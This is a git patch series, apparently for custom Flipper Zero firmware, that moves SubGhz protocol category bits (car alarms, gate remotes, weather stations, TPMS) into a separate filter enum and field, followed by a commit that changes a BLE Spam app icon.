combobox_text[value_index]); @@ -472,7 +473,7 @@ void subghz_scene_receiver_config_on_enter(void* context) { subghz); value_index = subghz_scene_receiver_config_ignore_filter_get_index( - subghz->ignore_filter, SubGhzProtocolFlag_NiceFlorS); + subghz->ignore_filter, SubGhzProtocolFilter_NiceFlorS); variable_item_set_current_value_index(item, value_index); variable_item_set_current_value_text(item, combobox_text[value_index]); @@ -484,7 +485,7 @@ void subghz_scene_receiver_config_on_enter(void* context) { subghz); value_index = subghz_scene_receiver_config_ignore_filter_get_index( - subghz->ignore_filter, SubGhzProtocolFlag_Weather); + subghz->ignore_filter, SubGhzProtocolFilter_Weather); variable_item_set_current_value_index(item, value_index); variable_item_set_current_value_text(item, combobox_text[value_index]); @@ -496,7 +497,7 @@ void subghz_scene_receiver_config_on_enter(void* context) { subghz); value_index = subghz_scene_receiver_config_ignore_filter_get_index( - subghz->ignore_filter, SubGhzProtocolFlag_TPMS); + subghz->ignore_filter, SubGhzProtocolFilter_TPMS); variable_item_set_current_value_index(item, value_index); variable_item_set_current_value_text(item, combobox_text[value_index]); } diff --git a/applications/main/subghz/subghz_i.h b/applications/main/subghz/subghz_i.h index e50d3169e..0cc5736a6 100644 --- a/applications/main/subghz/subghz_i.h +++ b/applications/main/subghz/subghz_i.h @@ -83,7 +83,7 @@ struct SubGhz { SubGhzLastSettings* last_settings; SubGhzProtocolFlag filter; - SubGhzProtocolFlag ignore_filter; + SubGhzProtocolFilter ignore_filter; FuriString* error_str; SubGhzLock lock; diff --git a/applications/main/subghz/subghz_last_settings.c b/applications/main/subghz/subghz_last_settings.c index eaa4c1d48..675281742 100644 --- a/applications/main/subghz/subghz_last_settings.c +++ b/applications/main/subghz/subghz_last_settings.c @@ -314,7 +314,7 @@ void subghz_last_settings_log(SubGhzLastSettings* instance) { TAG, "Frequency: %03ld.%02ld, FeedbackLevel: %ld, FATrigger: %.2f, External: %s, ExtPower: %s, TimestampNames: %s, ExtPowerAmp: %s,\n" "GPSBaudrate: %ld, Hopping: %s,\nPreset: %ld, RSSI: %.2f, " - "Starline: %s, Cars: %s, Magellan: %s, NiceFloR-S: %s, Weather: %s, TPMS: %s, BinRAW: %s", + "BinRAW: %s, Starline: %s, Cars: %s, Magellan: %s, NiceFloR-S: %s, Weather: %s, TPMS: %s", instance->frequency / 1000000 % 1000, instance->frequency / 10000 % 100, instance->frequency_analyzer_feedback_level, @@ -327,16 +327,17 @@ void subghz_last_settings_log(SubGhzLastSettings* instance) { bool_to_char(instance->enable_hopping), instance->preset_index, (double)instance->rssi, + subghz_last_settings_log_filter_get_index(instance->filter, SubGhzProtocolFlag_BinRAW), subghz_last_settings_log_filter_get_index( - instance->ignore_filter, SubGhzProtocolFlag_StarLine), + instance->ignore_filter, SubGhzProtocolFilter_StarLine), subghz_last_settings_log_filter_get_index( - instance->ignore_filter, SubGhzProtocolFlag_AutoAlarms), + instance->ignore_filter, SubGhzProtocolFilter_AutoAlarms), subghz_last_settings_log_filter_get_index( - instance->ignore_filter, SubGhzProtocolFlag_Magellan), + instance->ignore_filter, SubGhzProtocolFilter_Magellan), subghz_last_settings_log_filter_get_index( - instance->ignore_filter, SubGhzProtocolFlag_NiceFlorS), + instance->ignore_filter, SubGhzProtocolFilter_NiceFlorS), subghz_last_settings_log_filter_get_index( - instance->ignore_filter, SubGhzProtocolFlag_Weather), - subghz_last_settings_log_filter_get_index(instance->ignore_filter, SubGhzProtocolFlag_TPMS), - subghz_last_settings_log_filter_get_index(instance->filter, SubGhzProtocolFlag_BinRAW)); + instance->ignore_filter, SubGhzProtocolFilter_Weather), + subghz_last_settings_log_filter_get_index( + instance->ignore_filter, SubGhzProtocolFilter_TPMS)); } diff --git a/lib/subghz/protocols/acurite_592txr.c b/lib/subghz/protocols/acurite_592txr.c index 02cd7052d..c99b0140a 100644 --- a/lib/subghz/protocols/acurite_592txr.c +++ b/lib/subghz/protocols/acurite_592txr.c @@ -86,11 +86,13 @@ const SubGhzProtocol ws_protocol_acurite_592txr = { .name = WS_PROTOCOL_ACURITE_592TXR_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Weather | + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send, .decoder = &ws_protocol_acurite_592txr_decoder, .encoder = &ws_protocol_acurite_592txr_encoder, + + .filter = SubGhzProtocolFilter_Weather, }; void* ws_protocol_decoder_acurite_592txr_alloc(SubGhzEnvironment* environment) { @@ -415,4 +417,4 @@ LevelDuration ws_protocol_encoder_acurite_592txr_yield(void* context) { void ws_protocol_encoder_acurite_592txr_stop(void* context) { WSProtocolEncoderAcurite_592TXR* instance = context; instance->encoder.is_running = false; -} \ No newline at end of file +} diff --git a/lib/subghz/protocols/acurite_606tx.c b/lib/subghz/protocols/acurite_606tx.c index b324fae6c..1f0e7284e 100644 --- a/lib/subghz/protocols/acurite_606tx.c +++ b/lib/subghz/protocols/acurite_606tx.c @@ -69,11 +69,13 @@ const SubGhzProtocol ws_protocol_acurite_606tx = { .name = WS_PROTOCOL_ACURITE_606TX_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Weather | + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, .decoder = &ws_protocol_acurite_606tx_decoder, .encoder = &ws_protocol_acurite_606tx_encoder, + + .filter = SubGhzProtocolFilter_Weather, }; void* ws_protocol_decoder_acurite_606tx_alloc(SubGhzEnvironment* environment) { diff --git a/lib/subghz/protocols/acurite_609txc.c b/lib/subghz/protocols/acurite_609txc.c index 8ae82b62b..3f7c2bb73 100644 --- a/lib/subghz/protocols/acurite_609txc.c +++ b/lib/subghz/protocols/acurite_609txc.c @@ -70,11 +70,13 @@ const SubGhzProtocol ws_protocol_acurite_609txc = { .name = WS_PROTOCOL_ACURITE_609TXC_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Weather | + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, .decoder = &ws_protocol_acurite_609txc_decoder, .encoder = &ws_protocol_acurite_609txc_encoder, + + .filter = SubGhzProtocolFilter_Weather, }; void* ws_protocol_decoder_acurite_609txc_alloc(SubGhzEnvironment* environment) { diff --git a/lib/subghz/protocols/ambient_weather.c b/lib/subghz/protocols/ambient_weather.c index 793ad615b..ea2ae819d 100644 --- a/lib/subghz/protocols/ambient_weather.c +++ b/lib/subghz/protocols/ambient_weather.c @@ -84,11 +84,13 @@ const SubGhzProtocol ws_protocol_ambient_weather = { .name = WS_PROTOCOL_AMBIENT_WEATHER_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Weather | + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, .decoder = &ws_protocol_ambient_weather_decoder, .encoder = &ws_protocol_ambient_weather_encoder, + + .filter = SubGhzProtocolFilter_Weather, }; void* ws_protocol_decoder_ambient_weather_alloc(SubGhzEnvironment* environment) { diff --git a/lib/subghz/protocols/auriol_ahfl.c b/lib/subghz/protocols/auriol_ahfl.c index d6246bec6..9ae5fe672 100644 --- a/lib/subghz/protocols/auriol_ahfl.c +++ b/lib/subghz/protocols/auriol_ahfl.c @@ -81,11 +81,13 @@ const SubGhzProtocol ws_protocol_auriol_ahfl = { .name = WS_PROTOCOL_AURIOL_AHFL_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Weather | + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, .decoder = &ws_protocol_auriol_ahfl_decoder, .encoder = &ws_protocol_auriol_ahfl_encoder, + + .filter = SubGhzProtocolFilter_Weather, }; void* ws_protocol_decoder_auriol_ahfl_alloc(SubGhzEnvironment* environment) { @@ -252,4 +254,4 @@ void ws_protocol_decoder_auriol_ahfl_get_string(void* context, FuriString* outpu instance->generic.battery_low, (double)instance->generic.temp, instance->generic.humidity); -} \ No newline at end of file +} diff --git a/lib/subghz/protocols/auriol_hg0601a.c b/lib/subghz/protocols/auriol_hg0601a.c index b7fd97bfd..3d564f80f 100644 --- a/lib/subghz/protocols/auriol_hg0601a.c +++ b/lib/subghz/protocols/auriol_hg0601a.c @@ -80,11 +80,13 @@ const SubGhzProtocol ws_protocol_auriol_th = { .name = WS_PROTOCOL_AURIOL_TH_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Weather | + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, .decoder = &ws_protocol_auriol_th_decoder, .encoder = &ws_protocol_auriol_th_encoder, + + .filter = SubGhzProtocolFilter_Weather, }; void* ws_protocol_decoder_auriol_th_alloc(SubGhzEnvironment* environment) { diff --git a/lib/subghz/protocols/gt_wt_02.c b/lib/subghz/protocols/gt_wt_02.c index 88f9ed2a7..dc783285c 100644 --- a/lib/subghz/protocols/gt_wt_02.c +++ b/lib/subghz/protocols/gt_wt_02.c @@ -83,11 +83,13 @@ const SubGhzProtocol ws_protocol_gt_wt_02 = { .name = WS_PROTOCOL_GT_WT_02_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Weather | + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, .decoder = &ws_protocol_gt_wt_02_decoder, .encoder = &ws_protocol_gt_wt_02_encoder, + + .filter = SubGhzProtocolFilter_Weather, }; void* ws_protocol_decoder_gt_wt_02_alloc(SubGhzEnvironment* environment) { diff --git a/lib/subghz/protocols/gt_wt_03.c b/lib/subghz/protocols/gt_wt_03.c index 8359f5b32..482d33bd6 100644 --- a/lib/subghz/protocols/gt_wt_03.c +++ b/lib/subghz/protocols/gt_wt_03.c @@ -109,11 +109,13 @@ const SubGhzProtocol ws_protocol_gt_wt_03 = { .name = WS_PROTOCOL_GT_WT_03_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Weather | + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, .decoder = &ws_protocol_gt_wt_03_decoder, .encoder = &ws_protocol_gt_wt_03_encoder, + + .filter = SubGhzProtocolFilter_Weather, }; void* ws_protocol_decoder_gt_wt_03_alloc(SubGhzEnvironment* environment) { diff --git a/lib/subghz/protocols/infactory.c b/lib/subghz/protocols/infactory.c index 7722b772c..f4c355ff9 100644 --- a/lib/subghz/protocols/infactory.c +++ b/lib/subghz/protocols/infactory.c @@ -94,11 +94,13 @@ const SubGhzProtocol ws_protocol_infactory = { .name = WS_PROTOCOL_INFACTORY_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Weather | + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, .decoder = &ws_protocol_infactory_decoder, .encoder = &ws_protocol_infactory_encoder, + + .filter = SubGhzProtocolFilter_Weather, }; void* ws_protocol_decoder_infactory_alloc(SubGhzEnvironment* environment) { diff --git a/lib/subghz/protocols/kia.c b/lib/subghz/protocols/kia.c index 6988a0ef2..1a92c8fe4 100644 --- a/lib/subghz/protocols/kia.c +++ b/lib/subghz/protocols/kia.c @@ -63,11 +63,12 @@ const SubGhzProtocolEncoder subghz_protocol_kia_encoder = { const SubGhzProtocol subghz_protocol_kia = { .name = SUBGHZ_PROTOCOL_KIA_NAME, .type = SubGhzProtocolTypeDynamic, - .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_FM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_AutoAlarms, + .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_FM | SubGhzProtocolFlag_Decodable, .decoder = &subghz_protocol_kia_decoder, .encoder = &subghz_protocol_kia_encoder, + + .filter = SubGhzProtocolFilter_AutoAlarms, }; void* subghz_protocol_decoder_kia_alloc(SubGhzEnvironment* environment) { diff --git a/lib/subghz/protocols/lacrosse_tx.c b/lib/subghz/protocols/lacrosse_tx.c index 316ed7aaf..380ce0877 100644 --- a/lib/subghz/protocols/lacrosse_tx.c +++ b/lib/subghz/protocols/lacrosse_tx.c @@ -98,10 +98,12 @@ const SubGhzProtocol ws_protocol_lacrosse_tx = { .name = WS_PROTOCOL_LACROSSE_TX_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Weather, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable, .decoder = &ws_protocol_lacrosse_tx_decoder, .encoder = &ws_protocol_lacrosse_tx_encoder, + + .filter = SubGhzProtocolFilter_Weather, }; void* ws_protocol_decoder_lacrosse_tx_alloc(SubGhzEnvironment* environment) { diff --git a/lib/subghz/protocols/lacrosse_tx141thbv2.c b/lib/subghz/protocols/lacrosse_tx141thbv2.c index 98f7d6343..4f4a112c1 100644 --- a/lib/subghz/protocols/lacrosse_tx141thbv2.c +++ b/lib/subghz/protocols/lacrosse_tx141thbv2.c @@ -76,11 +76,13 @@ const SubGhzProtocol ws_protocol_lacrosse_tx141thbv2 = { .name = WS_PROTOCOL_LACROSSE_TX141THBV2_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Weather | + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, .decoder = &ws_protocol_lacrosse_tx141thbv2_decoder, .encoder = &ws_protocol_lacrosse_tx141thbv2_encoder, + + .filter = SubGhzProtocolFilter_Weather, }; void* ws_protocol_decoder_lacrosse_tx141thbv2_alloc(SubGhzEnvironment* environment) { diff --git a/lib/subghz/protocols/magellan.c b/lib/subghz/protocols/magellan.c index a8c7f6342..80f5f871a 100644 --- a/lib/subghz/protocols/magellan.c +++ b/lib/subghz/protocols/magellan.c @@ -64,11 +64,12 @@ const SubGhzProtocol subghz_protocol_magellan = { .name = SUBGHZ_PROTOCOL_MAGELLAN_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send | - SubGhzProtocolFlag_Magellan, + SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send, .decoder = &subghz_protocol_magellan_decoder, .encoder = &subghz_protocol_magellan_encoder, + + .filter = SubGhzProtocolFilter_Magellan, }; void* subghz_protocol_encoder_magellan_alloc(SubGhzEnvironment* environment) { diff --git a/lib/subghz/protocols/nexus_th.c b/lib/subghz/protocols/nexus_th.c index 4ff687ecb..76925a009 100644 --- a/lib/subghz/protocols/nexus_th.c +++ b/lib/subghz/protocols/nexus_th.c @@ -356,9 +356,11 @@ const SubGhzProtocol ws_protocol_nexus_th = { .name = WS_PROTOCOL_NEXUS_TH_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Weather | + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send, .decoder = &ws_protocol_nexus_th_decoder, .encoder = &ws_protocol_nexus_th_encoder, + + .filter = SubGhzProtocolFilter_Weather, }; diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index 3f56ba107..39ae23f27 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -80,10 +80,12 @@ const SubGhzProtocol subghz_protocol_nice_flor_s = { .type = SubGhzProtocolTypeDynamic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_868 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | - SubGhzProtocolFlag_Send | SubGhzProtocolFlag_NiceFlorS, + SubGhzProtocolFlag_Send, .decoder = &subghz_protocol_nice_flor_s_decoder, .encoder = &subghz_protocol_nice_flor_s_encoder, + + .filter = SubGhzProtocolFilter_NiceFlorS, }; static void subghz_protocol_nice_flor_s_remote_controller( diff --git a/lib/subghz/protocols/oregon2.c b/lib/subghz/protocols/oregon2.c index ebba869f1..57adae576 100644 --- a/lib/subghz/protocols/oregon2.c +++ b/lib/subghz/protocols/oregon2.c @@ -424,7 +424,9 @@ const SubGhzProtocol ws_protocol_oregon2 = { .name = WS_PROTOCOL_OREGON2_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Weather | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, + SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, .decoder = &ws_protocol_oregon2_decoder, + + .filter = SubGhzProtocolFilter_Weather, }; diff --git a/lib/subghz/protocols/oregon3.c b/lib/subghz/protocols/oregon3.c index 67ddec252..24498f16a 100644 --- a/lib/subghz/protocols/oregon3.c +++ b/lib/subghz/protocols/oregon3.c @@ -360,7 +360,9 @@ const SubGhzProtocol ws_protocol_oregon3 = { .name = WS_PROTOCOL_OREGON3_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Weather | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, + SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, .decoder = &ws_protocol_oregon3_decoder, + + .filter = SubGhzProtocolFilter_Weather, }; diff --git a/lib/subghz/protocols/oregon_v1.c b/lib/subghz/protocols/oregon_v1.c index b68cdf170..b8ca85106 100644 --- a/lib/subghz/protocols/oregon_v1.c +++ b/lib/subghz/protocols/oregon_v1.c @@ -95,11 +95,13 @@ const SubGhzProtocol ws_protocol_oregon_v1 = { .name = WS_PROTOCOL_OREGON_V1_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Weather | + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, .decoder = &ws_protocol_oregon_v1_decoder, .encoder = &ws_protocol_oregon_v1_encoder, + + .filter = SubGhzProtocolFilter_Weather, }; void* ws_protocol_decoder_oregon_v1_alloc(SubGhzEnvironment* environment) { diff --git a/lib/subghz/protocols/princeton.c b/lib/subghz/protocols/princeton.c index 1a7fe53ed..ae71e81f6 100644 --- a/lib/subghz/protocols/princeton.c +++ b/lib/subghz/protocols/princeton.c @@ -73,10 +73,12 @@ const SubGhzProtocol subghz_protocol_princeton = { .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_868 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | - SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send | SubGhzProtocolFlag_Princeton, + SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send, .decoder = &subghz_protocol_princeton_decoder, .encoder = &subghz_protocol_princeton_encoder, + + .filter = SubGhzProtocolFilter_Princeton, }; void* subghz_protocol_encoder_princeton_alloc(SubGhzEnvironment* environment) { diff --git a/lib/subghz/protocols/scher_khan.c b/lib/subghz/protocols/scher_khan.c index 53b7935d6..e5de4e081 100644 --- a/lib/subghz/protocols/scher_khan.c +++ b/lib/subghz/protocols/scher_khan.c @@ -70,10 +70,12 @@ const SubGhzProtocol subghz_protocol_scher_khan = { .name = SUBGHZ_PROTOCOL_SCHER_KHAN_NAME, .type = SubGhzProtocolTypeDynamic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_FM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Save | SubGhzProtocolFlag_AutoAlarms, + SubGhzProtocolFlag_Save, .decoder = &subghz_protocol_scher_khan_decoder, .encoder = &subghz_protocol_scher_khan_encoder, + + .filter = SubGhzProtocolFilter_AutoAlarms, }; void* subghz_protocol_decoder_scher_khan_alloc(SubGhzEnvironment* environment) { diff --git a/lib/subghz/protocols/schrader_gg4.c b/lib/subghz/protocols/schrader_gg4.c index 49c2e48a5..2290d32e0 100644 --- a/lib/subghz/protocols/schrader_gg4.c +++ b/lib/subghz/protocols/schrader_gg4.c @@ -101,11 +101,12 @@ const SubGhzProtocol tpms_protocol_schrader_gg4 = { .name = TPMS_PROTOCOL_SCHRADER_GG4_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_AM | - SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_TPMS | SubGhzProtocolFlag_Load | - SubGhzProtocolFlag_Save, + SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, .decoder = &tpms_protocol_schrader_gg4_decoder, .encoder = &tpms_protocol_schrader_gg4_encoder, + + .filter = SubGhzProtocolFilter_TPMS, }; void* tpms_protocol_decoder_schrader_gg4_alloc(SubGhzEnvironment* environment) { diff --git a/lib/subghz/protocols/star_line.c b/lib/subghz/protocols/star_line.c index 75a7fd471..39c715399 100644 --- a/lib/subghz/protocols/star_line.c +++ b/lib/subghz/protocols/star_line.c @@ -79,11 +79,12 @@ const SubGhzProtocol subghz_protocol_star_line = { .name = SUBGHZ_PROTOCOL_STAR_LINE_NAME, .type = SubGhzProtocolTypeDynamic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send | - SubGhzProtocolFlag_StarLine, + SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send, .decoder = &subghz_protocol_star_line_decoder, .encoder = &subghz_protocol_star_line_encoder, + + .filter = SubGhzProtocolFilter_StarLine, }; /** diff --git a/lib/subghz/protocols/thermopro_tx4.c b/lib/subghz/protocols/thermopro_tx4.c index 351f662f7..56b19372e 100644 --- a/lib/subghz/protocols/thermopro_tx4.c +++ b/lib/subghz/protocols/thermopro_tx4.c @@ -79,11 +79,13 @@ const SubGhzProtocol ws_protocol_thermopro_tx4 = { .name = WS_PROTOCOL_THERMOPRO_TX4_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Weather | + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, .decoder = &ws_protocol_thermopro_tx4_decoder, .encoder = &ws_protocol_thermopro_tx4_encoder, + + .filter = SubGhzProtocolFilter_Weather, }; void* ws_protocol_decoder_thermopro_tx4_alloc(SubGhzEnvironment* environment) { diff --git a/lib/subghz/protocols/tx_8300.c b/lib/subghz/protocols/tx_8300.c index 15483a87b..2ef1b60c8 100644 --- a/lib/subghz/protocols/tx_8300.c +++ b/lib/subghz/protocols/tx_8300.c @@ -90,11 +90,13 @@ const SubGhzProtocol ws_protocol_tx_8300 = { .name = WS_PROTOCOL_TX_8300_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Weather | + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, .decoder = &ws_protocol_tx_8300_decoder, .encoder = &ws_protocol_tx_8300_encoder, + + .filter = SubGhzProtocolFilter_Weather, }; void* ws_protocol_decoder_tx_8300_alloc(SubGhzEnvironment* environment) { diff --git a/lib/subghz/protocols/wendox_w6726.c b/lib/subghz/protocols/wendox_w6726.c index 191adc7bf..a0d20c9a0 100644 --- a/lib/subghz/protocols/wendox_w6726.c +++ b/lib/subghz/protocols/wendox_w6726.c @@ -84,11 +84,13 @@ const SubGhzProtocol ws_protocol_wendox_w6726 = { .name = WS_PROTOCOL_WENDOX_W6726_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Weather | + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, .decoder = &ws_protocol_wendox_w6726_decoder, .encoder = &ws_protocol_wendox_w6726_encoder, + + .filter = SubGhzProtocolFilter_Weather, }; void* ws_protocol_decoder_wendox_w6726_alloc(SubGhzEnvironment* environment) { diff --git a/lib/subghz/types.h b/lib/subghz/types.h index 45967cdf8..369351066 100644 --- a/lib/subghz/types.h +++ b/lib/subghz/types.h @@ -112,6 +112,7 @@ typedef enum { SubGhzProtocolTypeStatic, SubGhzProtocolTypeDynamic, SubGhzProtocolTypeRAW, + SubGhzProtocolWeatherStation, // Unused, kept for compatibility SubGhzProtocolCustom, SubGhzProtocolTypeBinRAW, } SubGhzProtocolType; @@ -128,15 +129,18 @@ typedef enum { SubGhzProtocolFlag_Load = (1 << 8), SubGhzProtocolFlag_Send = (1 << 9), SubGhzProtocolFlag_BinRAW = (1 << 10), - SubGhzProtocolFlag_StarLine = (1 << 11), - SubGhzProtocolFlag_AutoAlarms = (1 << 12), - SubGhzProtocolFlag_Magellan = (1 << 13), - SubGhzProtocolFlag_Princeton = (1 << 14), - SubGhzProtocolFlag_NiceFlorS = (1 << 15), - SubGhzProtocolFlag_Weather = (1 << 16), - SubGhzProtocolFlag_TPMS = (1 << 17), } SubGhzProtocolFlag; +typedef enum { + SubGhzProtocolFilter_StarLine = (1 << 0), + SubGhzProtocolFilter_AutoAlarms = (1 << 1), + SubGhzProtocolFilter_Magellan = (1 << 2), + SubGhzProtocolFilter_Princeton = (1 << 3), + SubGhzProtocolFilter_NiceFlorS = (1 << 4), + SubGhzProtocolFilter_Weather = (1 << 5), + SubGhzProtocolFilter_TPMS = (1 << 6), +} SubGhzProtocolFilter; + struct SubGhzProtocol { const char* name; SubGhzProtocolType type; @@ -144,4 +148,6 @@ struct SubGhzProtocol { const SubGhzProtocolEncoder* encoder; const SubGhzProtocolDecoder* decoder; + + SubGhzProtocolFilter filter; }; From 0e25fef6dba20c4a39328d550b293e23643a972f Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Tue, 17 Oct 2023 04:43:59 +0100 Subject: [PATCH 15/56] New BLE Spam icon by @xMasterX <3 --nobuild --- .../external/ble_spam/ble_spam_10px.png | Bin 4238 -> 148 bytes .../external/ble_spam/protocols/_base.h | 1 + 2 files changed, 1 insertion(+) diff --git a/applications/external/ble_spam/ble_spam_10px.png b/applications/external/ble_spam/ble_spam_10px.png index a204d1de5100f41acd15c5334f969988866a7828..96a454180da683508c002192447859a1f34e8cbe 100644 GIT binary patch delta 131 